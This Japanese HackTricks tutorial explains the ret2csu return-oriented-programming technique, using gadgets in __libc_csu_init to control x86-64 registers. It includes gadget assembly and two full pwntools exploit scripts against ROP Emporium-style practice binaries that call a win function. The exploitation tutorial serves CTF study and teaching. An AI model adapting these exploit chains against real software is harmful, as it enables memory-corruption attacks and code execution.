Ret2csu
Reading time: 11 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
https://www.scs.stanford.edu/brop/bittau-brop.pdf基本情報
ret2csu は、プログラムを制御しようとする際に、通常使用する gadgets を見つけられない場合に使用されるハッキング技術です。
プログラムが特定のライブラリ(libcなど)を使用している場合、異なるプログラムの部分が互いに通信する方法を管理するためのいくつかの組み込み関数があります。これらの関数の中には、特に __libc_csu_init
と呼ばれる、私たちの欠けているgadgetsとして機能する隠れた宝石があります。
__libc_csu_init の魔法のガジェット
__libc_csu_init
には、強調すべき2つの命令のシーケンス(gadgets)があります:
- 最初のシーケンスは、いくつかのレジスタ(rbx、rbp、r12、r13、r14、r15)に値を設定することを可能にします。これらは、後で使用したい数値やアドレスを保存するためのスロットのようなものです。
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;
このガジェットは、スタックから値をポップしてこれらのレジスタを制御することを可能にします。
- 2番目のシーケンスは、設定した値を使用していくつかのことを行います:
- 特定の値を他のレジスタに移動し、関数のパラメータとして使用できるようにします。
- r15とrbxの値を足し合わせ、rbxを8倍することによって決定された場所にコールを実行します。
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
- もしかしたら、そこに書き込むアドレスを知らないかもしれませんし、
ret
命令が必要です。2番目のガジェットも**ret
で終わりますが**、それに到達するためにはいくつかの条件を満たす必要があります:
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret
条件は次のとおりです:
[r12 + rbx*8]
は呼び出し可能な関数を格納しているアドレスを指している必要があります(アイデアがなく、PIEがない場合は、単に_init
関数を使用できます):_init
が0x400560
にある場合、GEFを使用してそれへのポインタをメモリ内で検索し、[r12 + rbx*8]
を_init
へのポインタを持つアドレスにします:
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
rbp
とrbx
はジャンプを避けるために同じ値でなければなりません- 考慮すべき省略されたポップがあります
RDI と RSI
ret2csu ガジェットから rdi
と rsi
を制御する別の方法は、特定のオフセットにアクセスすることです:
 (1) (1) (1) (1) (1) (1) (1).png)
詳細についてはこのページを確認してください:
BROP - Blind Return Oriented Programming
例
コールを使用する
syscall を行うか、write()
のような関数を呼び出したいが、rdx
と rsi
レジスタに特定の値が必要な場合を想像してください。通常、これらのレジスタを直接設定するガジェットを探しますが、見つかりません。
ここで ret2csu が登場します:
- レジスタの設定: 最初のマジックガジェットを使用して、スタックから値をポップして rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx)、および r15 に入れます。
- 2 番目のガジェットを使用: これらのレジスタが設定されたら、2 番目のガジェットを使用します。これにより、選択した値を
rdx
とrsi
に移動させ(それぞれ r14 と r13 から)、関数呼び出しのためのパラメータを準備します。さらに、r15
とrbx
を制御することで、計算したアドレスにある関数を呼び出すことができます。そして、そのアドレスを[r15 + rbx*8]
に配置します。
この技術を使用した例とその説明はこちらで、これが使用された最終的なエクスプロイトです:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028
rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0) # r12
rop.raw(0) # r13
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
rop.raw(RW_LOC) # r15 - holds location of called function!
rop.raw(REG_CALL) # all the movs, plus the call
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
warning
注意してください、前のエクスプロイトは**RCE
を行うことを目的としていません。これは、単にwin
**という関数を呼び出すことを目的としています(ROPチェーン内でstdinからgetsを呼び出してwin
のアドレスを取得し、それをr15に格納します)第三引数として値0xdeadbeefcafed00d
を持つものです。
コールをバイパスしてretに到達する
以下のエクスプロイトは、このページから抽出されましたfrom this page ここではret2csuが使用されていますが、コールを使用する代わりに、比較をバイパスしてコールの後のret
に到達しています:
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
from pwn import *
# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b * 0x4007b0')
# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)
# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)
# Padding from start of input to saved return address
payload = "0"*0x28
# Our first gadget, and the values to be popped from the stack
# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX
# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15
# Finally the address of ret2win
payload += ret2win
# Send the payload
target.sendline(payload)
target.interactive()
なぜ直接libcを使用しないのか?
通常、これらのケースはret2plt + ret2libにも脆弱ですが、時にはlibc内で直接見つけたガジェットで簡単に制御できる以上のパラメータを制御する必要があります。例えば、write()
関数は3つのパラメータを必要とし、これらすべてを直接設定するためのガジェットを見つけることは不可能かもしれません。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。